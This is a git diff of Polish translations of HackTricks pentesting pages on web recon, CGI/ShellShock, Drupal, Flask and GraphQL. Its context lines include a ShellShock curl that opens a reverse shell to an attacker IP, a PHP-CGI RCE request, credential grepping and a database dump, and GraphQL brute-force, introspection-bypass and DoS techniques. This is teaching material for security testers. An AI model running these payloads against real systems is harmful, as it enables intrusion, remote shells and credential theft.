[**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner), aby sprawdzić, do jakich API klucz ma dostęp. -- **S3 Buckets**: Podczas spideringu sprawdź, czy jakikolwiek **subdomena** lub jakikolwiek **link** jest związany z jakimś **S3 bucket**. W takim przypadku [**sprawdź** **uprawnienia** bucketu](buckets/). +- **S3 Buckets**: Podczas spideringu sprawdź, czy jakikolwiek **subdomena** lub jakikolwiek **link** jest związany z jakimś **S3 bucket**. W takim przypadku, [**sprawdź** **uprawnienia** bucketu](buckets/). ### Specjalne znaleziska @@ -297,7 +289,7 @@ _Note, że za każdym razem, gdy nowy katalog zostanie odkryty podczas brute-for - Szukaj **linków** do innych plików w **plikach CSS**. - [Jeśli znajdziesz plik _**.git**_, można wyodrębnić pewne informacje](git.md). -- Jeśli znajdziesz _**.env**_, można znaleźć takie informacje jak klucze API, hasła do baz danych i inne informacje. +- Jeśli znajdziesz plik _**.env**_, można znaleźć takie informacje jak klucze API, hasła do baz danych i inne informacje. - Jeśli znajdziesz **punkty końcowe API**, [powinieneś je również przetestować](web-api-pentesting.md). To nie są pliki, ale prawdopodobnie "wyglądają jak" one. - **Pliki JS**: W sekcji spideringu wspomniano o kilku narzędziach, które mogą wyodrębnić ścieżki z plików JS. Również, warto **monitorować każdy znaleziony plik JS**, ponieważ w niektórych przypadkach zmiana może wskazywać, że potencjalna luka została wprowadzona w kodzie. Możesz użyć na przykład [**JSMon**](https://github.com/robre/jsmon)**.** - Powinieneś również sprawdzić odkryte pliki JS za pomocą [**RetireJS**](https://github.com/retirejs/retire.js/) lub [**JSHole**](https://github.com/callforpapers-source/jshole), aby sprawdzić, czy są podatne. @@ -308,7 +300,7 @@ _Note, że za każdym razem, gdy nowy katalog zostanie odkryty podczas brute-for - W wielu przypadkach będziesz musiał **zrozumieć wyrażenia regularne** używane. To będzie przydatne: [https://regex101.com/](https://regex101.com) lub [https://pythonium.net/regex](https://pythonium.net/regex). - Możesz również **monitorować pliki, w których wykryto formularze**, ponieważ zmiana w parametrze lub pojawienie się nowego formularza może wskazywać na potencjalnie nową podatną funkcjonalność. -**403 Forbidden/Basic Authentication/401 Unauthorized (bypass)** +**403 Forbidden/Basic Authentication/401 Unauthorized (obejście)** {{#ref}} 403-and-401-bypasses.md @@ -318,7 +310,7 @@ _Note, że za każdym razem, gdy nowy katalog zostanie odkryty podczas brute-for Jeśli jakakolwiek strona **odpowiada** tym **kodem**, prawdopodobnie jest to **źle skonfigurowany proxy**. **Jeśli wyślesz żądanie HTTP jak: `GET https://google.com HTTP/1.1`** (z nagłówkiem hosta i innymi typowymi nagłówkami), **proxy** spróbuje **uzyskać dostęp** do _**google.com**_ **i znajdziesz** SSRF. -**NTLM Authentication - Info disclosure** +**NTLM Authentication - ujawnienie informacji** Jeśli działający serwer prosi o uwierzytelnienie i jest **Windows** lub znajdziesz logowanie proszące o twoje **dane uwierzytelniające** (i pytające o **nazwa domeny**), możesz wywołać **ujawnienie informacji**.\ **Wyślij** **nagłówek**: `“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”` i z powodu tego, jak działa **uwierzytelnianie NTLM**, serwer odpowie wewnętrznymi informacjami (wersja IIS, wersja Windows...) w nagłówku "WWW-Authenticate".\ @@ -326,7 +318,7 @@ Możesz **zautomatyzować** to, używając **pluginu nmap** "_http-ntlm-info.nse **HTTP Redirect (CTF)** -Możliwe jest **umieszczenie treści** wewnątrz **przekierowania**. Ta treść **nie będzie widoczna dla użytkownika** (ponieważ przeglądarka wykona przekierowanie), ale coś może być **ukryte** w tym. +Możliwe jest **umieszczenie treści** wewnątrz **przekierowania**. Ta treść **nie będzie widoczna dla użytkownika** (ponieważ przeglądarka wykona przekierowanie), ale coś może być **ukryte** w tym miejscu. ### Sprawdzanie luk w sieci @@ -346,15 +338,7 @@ Więcej informacji o lukach w sieci znajdziesz na: Możesz użyć narzędzi takich jak [https://github.com/dgtlmoon/changedetection.io](https://github.com/dgtlmoon/changedetection.io), aby monitorować strony pod kątem modyfikacji, które mogą wprowadzać luki. -
- -**Uzyskaj perspektywę hakera na swoje aplikacje webowe, sieć i chmurę** - -**Znajdź i zgłoś krytyczne, wykorzystywalne luki z rzeczywistym wpływem na biznes.** Użyj naszych 20+ niestandardowych narzędzi, aby zmapować powierzchnię ataku, znaleźć problemy z bezpieczeństwem, które pozwalają na eskalację uprawnień, i użyj automatycznych exploitów, aby zebrać niezbędne dowody, przekształcając swoją ciężką pracę w przekonujące raporty. - -{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %} - -### HackTricks Automatic Commands +### HackTricks Automatyczne Komendy ``` Protocol_Name: Web #Protocol Abbreviation if there is one. Port_Number: 80,443 #Comma separated if there is more than one. diff --git a/src/network-services-pentesting/pentesting-web/cgi.md b/src/network-services-pentesting/pentesting-web/cgi.md index 3c1633c4d..1a8c98284 100644 --- a/src/network-services-pentesting/pentesting-web/cgi.md +++ b/src/network-services-pentesting/pentesting-web/cgi.md @@ -1,20 +1,14 @@ {{#include ../../banners/hacktricks-training.md}} -
- -Zgłębiaj swoją wiedzę w zakresie **Bezpieczeństwa Mobilnego** z 8kSec Academy. Opanuj bezpieczeństwo iOS i Androida dzięki naszym kursom w trybie samodzielnym i uzyskaj certyfikat: - -{% embed url="https://academy.8ksec.io/" %} - # Informacje -**Skrypty CGI to skrypty perl**, więc jeśli przejąłeś serwer, który może wykonywać _**.cgi**_ skrypty, możesz **przesłać powłokę odwrotną w perl** \(`/usr/share/webshells/perl/perl-reverse-shell.pl`\), **zmienić rozszerzenie** z **.pl** na **.cgi**, nadać **uprawnienia do wykonywania** \(`chmod +x`\) i **uzyskać dostęp** do powłoki odwrotnej **z przeglądarki internetowej**, aby ją wykonać. Aby przetestować **vulny CGI**, zaleca się użycie `nikto -C all` \(i wszystkich wtyczek\) +**Skrypty CGI to skrypty perl**, więc jeśli przejąłeś serwer, który może wykonywać _**.cgi**_ skrypty, możesz **przesłać powrotną powłokę perla** \(`/usr/share/webshells/perl/perl-reverse-shell.pl`\), **zmienić rozszerzenie** z **.pl** na **.cgi**, nadać **uprawnienia do wykonywania** \(`chmod +x`\) i **uzyskać dostęp** do powłoki zwrotnej **z przeglądarki internetowej**, aby ją wykonać. Aby przetestować **vulnerabilities CGI**, zaleca się użycie `nikto -C all` \(i wszystkich wtyczek\) # **ShellShock** -**ShellShock** to **vulnerability**, która dotyczy powszechnie używanego **Bash** wiersza poleceń w systemach operacyjnych opartych na Unixie. Skupia się na zdolności Bash do uruchamiania poleceń przekazywanych przez aplikacje. Wrażliwość polega na manipulacji **zmiennymi środowiskowymi**, które są dynamicznymi nazwanymi wartościami wpływającymi na to, jak procesy działają na komputerze. Atakujący mogą to wykorzystać, dołączając **złośliwy kod** do zmiennych środowiskowych, który jest wykonywany po otrzymaniu zmiennej. To pozwala atakującym na potencjalne przejęcie systemu. +**ShellShock** to **vulnerability**, która dotyczy powszechnie używanej **powłoki** wiersza poleceń **Bash** w systemach operacyjnych opartych na Unixie. Skupia się na zdolności Bash do uruchamiania poleceń przekazywanych przez aplikacje. Wrażliwość polega na manipulacji **zmiennymi środowiskowymi**, które są dynamicznymi nazwanymi wartościami wpływającymi na to, jak procesy działają na komputerze. Napastnicy mogą to wykorzystać, dołączając **złośliwy kod** do zmiennych środowiskowych, który jest wykonywany po otrzymaniu zmiennej. To pozwala napastnikom potencjalnie przejąć kontrolę nad systemem. -Wykorzystując tę wrażliwość, **strona może zgłaszać błąd**. +Wykorzystując tę wrażliwość, **strona może zgłosić błąd**. Możesz **znaleźć** tę wrażliwość zauważając, że używa **starej wersji Apache** i **cgi_mod** \(z folderem cgi\) lub używając **nikto**. @@ -53,16 +47,16 @@ curl -H 'User-Agent: () { :; }; /bin/bash -i >& /dev/tcp/10.11.0.41/80 0>&1' htt > set rhosts 10.1.2.11 > run ``` -# **Proxy \(MitM do żądań serwera WWW\)** +# **Proxy \(MitM do żądań serwera web\)** CGI tworzy zmienną środowiskową dla każdego nagłówka w żądaniu http. Na przykład: "host:web.com" jest tworzony jako "HTTP_HOST"="web.com" -Ponieważ zmienna HTTP_PROXY może być używana przez serwer WWW. Spróbuj wysłać **nagłówek** zawierający: "**Proxy: <IP_attacker>:<PORT>**" i jeśli serwer wykona jakiekolwiek żądanie podczas sesji, będziesz w stanie przechwycić każde żądanie wykonane przez serwer. +Ponieważ zmienna HTTP_PROXY może być używana przez serwer webowy, spróbuj wysłać **nagłówek** zawierający: "**Proxy: <IP_attacker>:<PORT>**" i jeśli serwer wykona jakiekolwiek żądanie podczas sesji, będziesz w stanie przechwycić każde żądanie wykonane przez serwer. # Stary PHP + CGI = RCE \(CVE-2012-1823, CVE-2012-2311\) W zasadzie, jeśli cgi jest aktywne, a php jest "stare" \(<5.3.12 / < 5.4.2\), możesz wykonać kod. -Aby wykorzystać tę lukę, musisz uzyskać dostęp do niektórego pliku PHP serwera WWW bez wysyłania parametrów \(szczególnie bez wysyłania znaku "="\). +Aby wykorzystać tę lukę, musisz uzyskać dostęp do niektórego pliku PHP serwera webowego bez wysyłania parametrów \(szczególnie bez wysyłania znaku "="\). Następnie, aby przetestować tę lukę, możesz uzyskać dostęp na przykład do `/index.php?-s` \(zauważ `-s`\) i **kod źródłowy aplikacji pojawi się w odpowiedzi**. Następnie, aby uzyskać **RCE**, możesz wysłać to specjalne zapytanie: `/?-d allow_url_include=1 -d auto_prepend_file=php://input` i **kod PHP** do wykonania w **treści żądania. Przykład:** @@ -71,10 +65,5 @@ curl -i --data-binary "" "http://jh2i.com:500 ``` **Więcej informacji o podatności i możliwych exploitach:** [**https://www.zero-day.cz/database/337/**](https://www.zero-day.cz/database/337/)**,** [**cve-2012-1823**](https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2012-1823)**,** [**cve-2012-2311**](https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2012-2311)**,** [**CTF Writeup Example**](https://github.com/W3rni0/HacktivityCon_CTF_2020#gi-joe)**.** -
- -Zgłębiaj swoją wiedzę w zakresie **Mobile Security** z 8kSec Academy. Opanuj bezpieczeństwo iOS i Androida dzięki naszym kursom w trybie samodzielnym i uzyskaj certyfikat: - -{% embed url="https://academy.8ksec.io/" %} {{#include ../../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-web/drupal/README.md b/src/network-services-pentesting/pentesting-web/drupal/README.md index bd77b00b8..2a793f9ee 100644 --- a/src/network-services-pentesting/pentesting-web/drupal/README.md +++ b/src/network-services-pentesting/pentesting-web/drupal/README.md @@ -2,9 +2,6 @@ {{#include ../../../banners/hacktricks-training.md}} -
- -{% embed url="https://websec.nl/" %} ## Odkrywanie @@ -12,7 +9,7 @@ ```bash curl https://www.drupal.org/ | grep 'content="Drupal' ``` -- **Node**: Drupal **indeksuje swoją zawartość za pomocą węzłów**. Węzeł może **zawierać cokolwiek**, takiego jak post na blogu, ankieta, artykuł itp. URI strony zazwyczaj mają postać `/node/`. +- **Node**: Drupal **indeksuje swoją zawartość za pomocą węzłów**. Węzeł może **zawierać cokolwiek** takiego jak post na blogu, ankieta, artykuł itp. URIs stron są zazwyczaj w formie `/node/`. ```bash curl drupal-site.com/node/1 ``` @@ -34,8 +31,8 @@ Drupal 7.57, 2018-02-21 Drupal domyślnie obsługuje **trzy typy użytkowników**: 1. **`Administrator`**: Ten użytkownik ma pełną kontrolę nad stroną internetową Drupal. -2. **`Authenticated User`**: Ci użytkownicy mogą logować się na stronie i wykonywać operacje takie jak dodawanie i edytowanie artykułów w zależności od swoich uprawnień. -3. **`Anonymous`**: Wszyscy odwiedzający stronę są oznaczeni jako anonimowi. Domyślnie tym użytkownikom pozwala się tylko na czytanie postów. +2. **`Użytkownik uwierzytelniony`**: Ci użytkownicy mogą logować się na stronie i wykonywać operacje takie jak dodawanie i edytowanie artykułów w zależności od swoich uprawnień. +3. **`Anonimowy`**: Wszyscy odwiedzający stronę są uznawani za anonimowych. Domyślnie tym użytkownikom zezwala się tylko na czytanie postów. **Aby enumerować użytkowników możesz:** @@ -85,8 +82,4 @@ find / -name settings.php -exec grep "drupal_hash_salt\|'database'\|'username'\| ```bash mysql -u drupaluser --password='2r9u8hu23t532erew' -e 'use drupal; select * from users' ``` -
- -{% embed url="https://websec.nl/" %} - {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-web/flask.md b/src/network-services-pentesting/pentesting-web/flask.md index 507670fad..89f816dd2 100644 --- a/src/network-services-pentesting/pentesting-web/flask.md +++ b/src/network-services-pentesting/pentesting-web/flask.md @@ -2,14 +2,7 @@ {{#include ../../banners/hacktricks-training.md}} -
- -Użyj [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=flask), aby łatwo budować i **automatyzować przepływy pracy** zasilane przez **najbardziej zaawansowane** narzędzia społecznościowe na świecie.\ -Uzyskaj dostęp już dziś: - -{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=flask" %} - -**Prawdopodobnie, jeśli grasz w CTF, aplikacja Flask będzie związana z** [**SSTI**](../../pentesting-web/ssti-server-side-template-injection/)**.** +**Prawdopodobnie, jeśli bierzesz udział w CTF, aplikacja Flask będzie związana z** [**SSTI**](../../pentesting-web/ssti-server-side-template-injection/)**.** ## Cookies @@ -53,7 +46,7 @@ flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME' --legacy ``` ### **RIPsession** -Narzędzie wiersza poleceń do łamania haseł na stronach internetowych za pomocą ciasteczek stworzonych przy użyciu flask-unsign. +Narzędzie wiersza poleceń do brutalnego łamania stron internetowych za pomocą ciasteczek stworzonych z flask-unsign. {% embed url="https://github.com/Tagvi/ripsession" %} ```bash @@ -61,7 +54,7 @@ ripsession -u 10.10.11.100 -c "{'logged_in': True, 'username': 'changeMe'}" -s p ``` ### SQLi w ciasteczku sesyjnym Flask z SQLmap -[**Ten przykład**](../../pentesting-web/sql-injection/sqlmap/#eval) używa opcji sqlmap `eval`, aby **automatycznie podpisać ładunki sqlmap** dla flask przy użyciu znanego sekretu. +[**Ten przykład**](../../pentesting-web/sql-injection/sqlmap/#eval) używa opcji sqlmap `eval`, aby **automatycznie podpisać ładunki sqlmap** dla Flask, używając znanego sekretu. ## Proxy Flask do SSRF @@ -88,11 +81,4 @@ app.run(host='0.0.0.0', port=8080) ``` Może pozwolić na wprowadzenie czegoś takiego jak "@attacker.com", aby spowodować **SSRF**. -
- -Użyj [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=flask), aby łatwo budować i **automatyzować przepływy pracy** zasilane przez **najbardziej zaawansowane** narzędzia społecznościowe na świecie.\ -Uzyskaj dostęp już dziś: - -{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=flask" %} - {{#include ../../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-web/graphql.md b/src/network-services-pentesting/pentesting-web/graphql.md index 1d796ff89..ce143039a 100644 --- a/src/network-services-pentesting/pentesting-web/graphql.md +++ b/src/network-services-pentesting/pentesting-web/graphql.md @@ -2,11 +2,6 @@ {{#include ../../banners/hacktricks-training.md}} -
- -Pogłęb swoją wiedzę w zakresie **Bezpieczeństwa Mobilnego** z 8kSec Academy. Opanuj bezpieczeństwo iOS i Androida dzięki naszym kursom w trybie samodzielnym i zdobądź certyfikat: - -{% embed url="https://academy.8ksec.io/" %} ## Wprowadzenie @@ -14,11 +9,11 @@ GraphQL jest **wyróżniany** jako **efektywna alternatywa** dla REST API, oferu ## GraphQL a bezpieczeństwo -Wraz z pojawieniem się nowych technologii, w tym GraphQL, pojawiają się również nowe luki w zabezpieczeniach. Kluczowym punktem do zauważenia jest to, że **GraphQL domyślnie nie zawiera mechanizmów uwierzytelniania**. Odpowiedzialność za wdrożenie takich środków bezpieczeństwa spoczywa na deweloperach. Bez odpowiedniego uwierzytelnienia, punkty końcowe GraphQL mogą ujawniać wrażliwe informacje nieautoryzowanym użytkownikom, co stanowi istotne ryzyko bezpieczeństwa. +Wraz z pojawieniem się nowych technologii, w tym GraphQL, pojawiają się również nowe luki w zabezpieczeniach. Kluczowym punktem do zauważenia jest to, że **GraphQL domyślnie nie zawiera mechanizmów uwierzytelniania**. Odpowiedzialnością deweloperów jest wdrożenie takich środków bezpieczeństwa. Bez odpowiedniego uwierzytelnienia, punkty końcowe GraphQL mogą ujawniać wrażliwe informacje nieautoryzowanym użytkownikom, co stanowi istotne ryzyko bezpieczeństwa. -### Ataki Brute Force na katalogi i GraphQL +### Ataki brute force na katalogi i GraphQL -Aby zidentyfikować wystawione instancje GraphQL, zaleca się uwzględnienie konkretnych ścieżek w atakach brute force na katalogi. Te ścieżki to: +Aby zidentyfikować narażone instancje GraphQL, zaleca się uwzględnienie konkretnych ścieżek w atakach brute force na katalogi. Te ścieżki to: - `/graphql` - `/graphiql` @@ -31,13 +26,13 @@ Aby zidentyfikować wystawione instancje GraphQL, zaleca się uwzględnienie kon Identyfikacja otwartych instancji GraphQL umożliwia badanie wspieranych zapytań. Jest to kluczowe dla zrozumienia danych dostępnych przez punkt końcowy. System introspekcji GraphQL ułatwia to, szczegółowo opisując zapytania, które wspiera schemat. Aby uzyskać więcej informacji na ten temat, zapoznaj się z dokumentacją GraphQL na temat introspekcji: [**GraphQL: język zapytań dla API.**](https://graphql.org/learn/introspection/) -### Odcisk +### Odcisk palca -Narzędzie [**graphw00f**](https://github.com/dolevf/graphw00f) jest w stanie wykryć, który silnik GraphQL jest używany na serwerze, a następnie wydrukować przydatne informacje dla audytora bezpieczeństwa. +Narzędzie [**graphw00f**](https://github.com/dolevf/graphw00f) jest w stanie wykryć, który silnik GraphQL jest używany na serwerze, a następnie drukuje przydatne informacje dla audytora bezpieczeństwa. #### Zapytania uniwersalne -Aby sprawdzić, czy URL jest usługą GraphQL, można wysłać **zapytanie uniwersalne**, `query{__typename}`. Jeśli odpowiedź zawiera `{"data": {"__typename": "Query"}}`, potwierdza to, że URL hostuje punkt końcowy GraphQL. Ta metoda opiera się na polu `__typename` GraphQL, które ujawnia typ zapytanego obiektu. +Aby sprawdzić, czy URL jest usługą GraphQL, można wysłać **zapytanie uniwersalne**, `query{__typename}`. Jeśli odpowiedź zawiera `{"data": {"__typename": "Query"}}`, potwierdza to, że URL hostuje punkt końcowy GraphQL. Ta metoda opiera się na polu `__typename` w GraphQL, które ujawnia typ zapytanego obiektu. ```javascript query{__typename} ``` @@ -63,7 +58,7 @@ Za pomocą tego zapytania możesz wyodrębnić wszystkie typy, ich pola i argume **Błędy** -Interesujące jest, aby wiedzieć, czy **błędy** będą **pokazywane**, ponieważ przyczynią się do użytecznej **informacji.** +Interesujące jest, czy **błędy** będą **pokazywane**, ponieważ przyczynią się do użytecznej **informacji.** ``` ?query={__schema} ?query={} @@ -178,7 +173,7 @@ Jeśli introspekcja jest włączona, możesz użyć [**GraphQL Voyager**](https: Teraz, gdy wiemy, jaki rodzaj informacji jest zapisany w bazie danych, spróbujmy **wyodrębnić kilka wartości**. -W introspekcji możesz znaleźć **który obiekt możesz bezpośrednio zapytać** (ponieważ nie możesz zapytać obiektu tylko dlatego, że istnieje). Na poniższym obrazku możesz zobaczyć, że "_queryType_" nazywa się "_Query_", a jednym z pól obiektu "_Query_" jest "_flags_", który jest również typem obiektu. Dlatego możesz zapytać obiekt flagi. +W introspekcji możesz znaleźć **który obiekt możesz bezpośrednio zapytać** (ponieważ nie możesz zapytać obiektu tylko dlatego, że istnieje). Na poniższym obrazku możesz zobaczyć, że "_queryType_" nazywa się "_Query_" i że jednym z pól obiektu "_Query_" jest "_flags_", które jest również typem obiektu. Dlatego możesz zapytać obiekt flagi. ![](<../../images/Screenshot from 2021-03-13 18-17-48.png>) @@ -212,7 +207,7 @@ Tak czy inaczej, już to wiedzieliśmy, w sekcji [Basic Enumeration](graphql.md# Jeśli przeczytasz obrazek dostarczony, gdy uruchomiłem to zapytanie, zobaczysz, że "_**user**_" miał **arg** "_**uid**_" typu _Int_. -Więc, wykonując lekką _**uid**_ bruteforce, odkryłem, że w _**uid**=**1**_ pobrano nazwę użytkownika i hasło:\ +Więc, wykonując lekką _**uid**_ bruteforce, odkryłem, że w _**uid**=**1**_ odzyskano nazwę użytkownika i hasło:\ `query={user(uid:1){user,password}}` ![](<../../images/image (90).png>) @@ -225,13 +220,13 @@ A podczas **fazy enumeracji** odkryłem, że obiekt "_**dbuser**_" miał jako po **Sztuczka z zrzutem ciągu zapytania (dzięki @BinaryShadow\_)** -Jeśli możesz wyszukiwać według typu ciągu, jak: `query={theusers(description: ""){username,password}}` i **szukasz pustego ciągu**, to **zrzuci wszystkie dane**. (_Zauważ, że ten przykład nie jest związany z przykładem z samouczków, w tym przykładzie załóż, że możesz wyszukiwać używając "**theusers**" według pola typu "**description**"_). +Jeśli możesz wyszukiwać według typu ciągu, jak: `query={theusers(description: ""){username,password}}` i **szukasz pustego ciągu**, to **zrzuci wszystkie dane**. (_Zauważ, że ten przykład nie jest związany z przykładem z samouczków, w tym przykładzie załóż, że możesz wyszukiwać używając "**theusers**" według pola String o nazwie "**description**"_). ### Wyszukiwanie W tej konfiguracji, **baza danych** zawiera **osoby** i **filmy**. **Osoby** są identyfikowane przez swój **email** i **imię**; **filmy** przez swoją **nazwę** i **ocenę**. **Osoby** mogą być przyjaciółmi i również mieć filmy, co wskazuje na relacje w bazie danych. -Możesz **wyszukiwać** osoby **po** **imię** i uzyskać ich emaile: +Możesz **wyszukiwać** osoby **po** **imieniu** i uzyskać ich emaile: ```javascript { searchPerson(name: "John Doe") { @@ -295,7 +290,7 @@ W **introspekcji** można znaleźć **zadeklarowane** **mutacje**. Na poniższym ![](<../../images/Screenshot from 2021-03-13 18-26-27 (1).png>) -W tej konfiguracji **baza danych** zawiera **osoby** i **filmy**. **Osoby** są identyfikowane po swoim **emailu** i **imieniu**; **filmy** po swoim **tytule** i **ocenie**. **Osoby** mogą być przyjaciółmi i również mieć filmy, co wskazuje na relacje w bazie danych. +W tej konfiguracji **baza danych** zawiera **osoby** i **filmy**. **Osoby** są identyfikowane po swoim **emailu** i **imieniu**; **filmy** po swoim **tytule** i **ocenie**. **Osoby** mogą być przyjaciółmi i również posiadać filmy, co wskazuje na relacje w bazie danych. Mutacja do **tworzenia nowych** filmów w bazie danych może wyglądać jak poniższa (w tym przykładzie mutacja nazywa się `addMovie`): ```javascript @@ -345,9 +340,9 @@ Jak wyjaśniono w [**jednej z luk opisanych w tym raporcie**](https://www.landh. ### Grupowanie brute-force w 1 żądaniu API Te informacje zostały zaczerpnięte z [https://lab.wallarm.com/graphql-batching-attack/](https://lab.wallarm.com/graphql-batching-attack/).\ -Uwierzytelnianie przez GraphQL API z **jednoczesnym wysyłaniem wielu zapytań z różnymi poświadczeniami** w celu ich sprawdzenia. To klasyczny atak brute force, ale teraz możliwe jest wysłanie więcej niż jednej pary login/hasło na żądanie HTTP dzięki funkcji grupowania GraphQL. To podejście oszukuje zewnętrzne aplikacje monitorujące stawki, sprawiając, że myślą, iż wszystko jest w porządku i nie ma bota próbującego zgadnąć hasła. +Uwierzytelnianie przez API GraphQL z **jednoczesnym wysyłaniem wielu zapytań z różnymi poświadczeniami** w celu ich sprawdzenia. To klasyczny atak brute force, ale teraz możliwe jest wysłanie więcej niż jednej pary login/hasło w jednym żądaniu HTTP dzięki funkcji grupowania GraphQL. To podejście oszukuje zewnętrzne aplikacje monitorujące, sprawiając, że myślą, iż wszystko jest w porządku i nie ma bota próbującego zgadnąć hasła. -Poniżej znajduje się najprostsza demonstracja żądania uwierzytelnienia aplikacji, z **3 różnymi parami e-mail/hasło jednocześnie**. Oczywiście możliwe jest wysłanie tysięcy w jednym żądaniu w ten sam sposób: +Poniżej znajduje się najprostsza demonstracja żądania uwierzytelnienia aplikacji, z **3 różnymi parami email/hasło jednocześnie**. Oczywiście możliwe jest wysłanie tysięcy w jednym żądaniu w ten sam sposób: ![](<../../images/image (1081).png>) @@ -359,13 +354,13 @@ Jak widać na zrzucie ekranu odpowiedzi, pierwsze i trzecie żądania zwróciły Coraz więcej **punktów końcowych graphql wyłącza introspekcję**. Jednak błędy, które graphql zgłasza, gdy otrzymuje nieoczekiwane żądanie, są wystarczające dla narzędzi takich jak [**clairvoyance**](https://github.com/nikitastupin/clairvoyance), aby odtworzyć większość schematu. -Co więcej, rozszerzenie Burp Suite [**GraphQuail**](https://github.com/forcesunseen/graphquail) **obserwuje żądania GraphQL API przechodzące przez Burp** i **buduje** wewnętrzny **schemat** GraphQL z każdym nowym zapytaniem, które widzi. Może również ujawniać schemat dla GraphiQL i Voyager. Rozszerzenie zwraca fałszywą odpowiedź, gdy otrzymuje zapytanie introspekcyjne. W rezultacie GraphQuail pokazuje wszystkie zapytania, argumenty i pola dostępne do użycia w API. Więcej informacji [**sprawdź to**](https://blog.forcesunseen.com/graphql-security-testing-without-a-schema). +Co więcej, rozszerzenie Burp Suite [**GraphQuail**](https://github.com/forcesunseen/graphquail) **obserwuje żądania API GraphQL przechodzące przez Burp** i **buduje** wewnętrzny **schemat** GraphQL z każdym nowym zapytaniem, które widzi. Może również ujawniać schemat dla GraphiQL i Voyager. Rozszerzenie zwraca fałszywą odpowiedź, gdy otrzymuje zapytanie introspekcyjne. W rezultacie GraphQuail pokazuje wszystkie zapytania, argumenty i pola dostępne do użycia w API. Więcej informacji [**sprawdź to**](https://blog.forcesunseen.com/graphql-security-testing-without-a-schema). Ładna **lista słów** do odkrywania [**jednostek GraphQL można znaleźć tutaj**](https://github.com/Escape-Technologies/graphql-wordlist?). ### Obejście obrony introspekcji GraphQL -Aby obejść ograniczenia dotyczące zapytań introspekcyjnych w API, wstawienie **specjalnego znaku po słowie kluczowym `__schema`** okazuje się skuteczne. Metoda ta wykorzystuje powszechne niedopatrzenia programistów w wzorcach regex, które mają na celu zablokowanie introspekcji, koncentrując się na słowie kluczowym `__schema`. Dodając znaki takie jak **spacje, nowe linie i przecinki**, które GraphQL ignoruje, ale mogą nie być uwzględnione w regex, można obejść ograniczenia. Na przykład zapytanie introspekcyjne z nową linią po `__schema` może obejść takie obrony: +Aby obejść ograniczenia dotyczące zapytań introspekcyjnych w API, wstawienie **specjalnego znaku po słowie kluczowym `__schema`** okazuje się skuteczne. Ta metoda wykorzystuje powszechne niedopatrzenia programistów w wzorcach regex, które mają na celu zablokowanie introspekcji, koncentrując się na słowie kluczowym `__schema`. Dodając znaki takie jak **spacje, nowe linie i przecinki**, które GraphQL ignoruje, ale mogą nie być uwzględnione w regex, można obejść ograniczenia. Na przykład zapytanie introspekcyjne z nową linią po `__schema` może obejść takie obrony: ```bash # Example with newline to bypass { @@ -433,7 +428,7 @@ Należy jednak zauważyć, że nowa domyślna wartość ciasteczka flagi `samesi Należy pamiętać, że zazwyczaj możliwe jest również wysłanie **żądania** **zapytania** jako **żądania GET**, a token CSRF może nie być weryfikowany w żądaniu GET. -Ponadto, wykorzystując atak [**XS-Search**](../../pentesting-web/xs-search/), może być możliwe wykradzenie treści z punktu końcowego GraphQL, wykorzystując dane uwierzytelniające użytkownika. +Ponadto, wykorzystując atak [**XS-Search**](../../pentesting-web/xs-search/), może być możliwe wyeksfiltrowanie treści z punktu końcowego GraphQL, wykorzystując dane uwierzytelniające użytkownika. Aby uzyskać więcej informacji, **sprawdź** [**oryginalny post tutaj**](https://blog.doyensec.com/2021/05/20/graphql-csrf.html). @@ -451,7 +446,7 @@ Aby uzyskać więcej informacji, sprawdź: Wiele funkcji GraphQL zdefiniowanych na punkcie końcowym może sprawdzać tylko uwierzytelnienie żądającego, ale nie autoryzację. -Modyfikacja zmiennych wejściowych zapytania może prowadzić do ujawnienia wrażliwych danych konta [leak](https://hackerone.com/reports/792927). +Modyfikacja zmiennych wejściowych zapytania może prowadzić do wrażliwych szczegółów konta [leak](https://hackerone.com/reports/792927). Mutacja może nawet prowadzić do przejęcia konta, próbując zmodyfikować dane innego konta. ```javascript @@ -469,7 +464,7 @@ W poniższym przykładzie widać, że operacja to "forgotPassword" i powinna ona
-## Ominięcie limitów szybkości za pomocą aliasów w GraphQL +## Ominięcie limitów szybkości przy użyciu aliasów w GraphQL W GraphQL aliasy to potężna funkcja, która pozwala na **jawne nazywanie właściwości** podczas składania żądania API. Ta możliwość jest szczególnie przydatna do pobierania **wielu instancji tego samego typu** obiektu w jednym żądaniu. Aliasów można używać, aby przezwyciężyć ograniczenie, które uniemożliwia obiektom GraphQL posiadanie wielu właściwości o tej samej nazwie. @@ -496,18 +491,18 @@ valid ### Przeciążenie aliasów -**Przeciążenie aliasów** to luka w GraphQL, w której atakujący przeciążają zapytanie wieloma aliasami dla tego samego pola, co powoduje, że resolver backendu wykonuje to pole wielokrotnie. Może to przeciążyć zasoby serwera, prowadząc do **Denial of Service (DoS)**. Na przykład, w poniższym zapytaniu to samo pole (`expensiveField`) jest żądane 1,000 razy za pomocą aliasów, zmuszając backend do obliczenia go 1,000 razy, co potencjalnie może wyczerpać CPU lub pamięć: +**Przeciążenie aliasów** to luka w GraphQL, w której atakujący przeciążają zapytanie wieloma aliasami dla tego samego pola, co powoduje, że resolver backendu wykonuje to pole wielokrotnie. Może to przytłoczyć zasoby serwera, prowadząc do **Denial of Service (DoS)**. Na przykład, w poniższym zapytaniu to samo pole (`expensiveField`) jest żądane 1,000 razy przy użyciu aliasów, zmuszając backend do obliczenia go 1,000 razy, co potencjalnie wyczerpuje CPU lub pamięć: ```graphql # Test provided by https://github.com/dolevf/graphql-cop curl -X POST -H "Content-Type: application/json" \ -d '{"query": 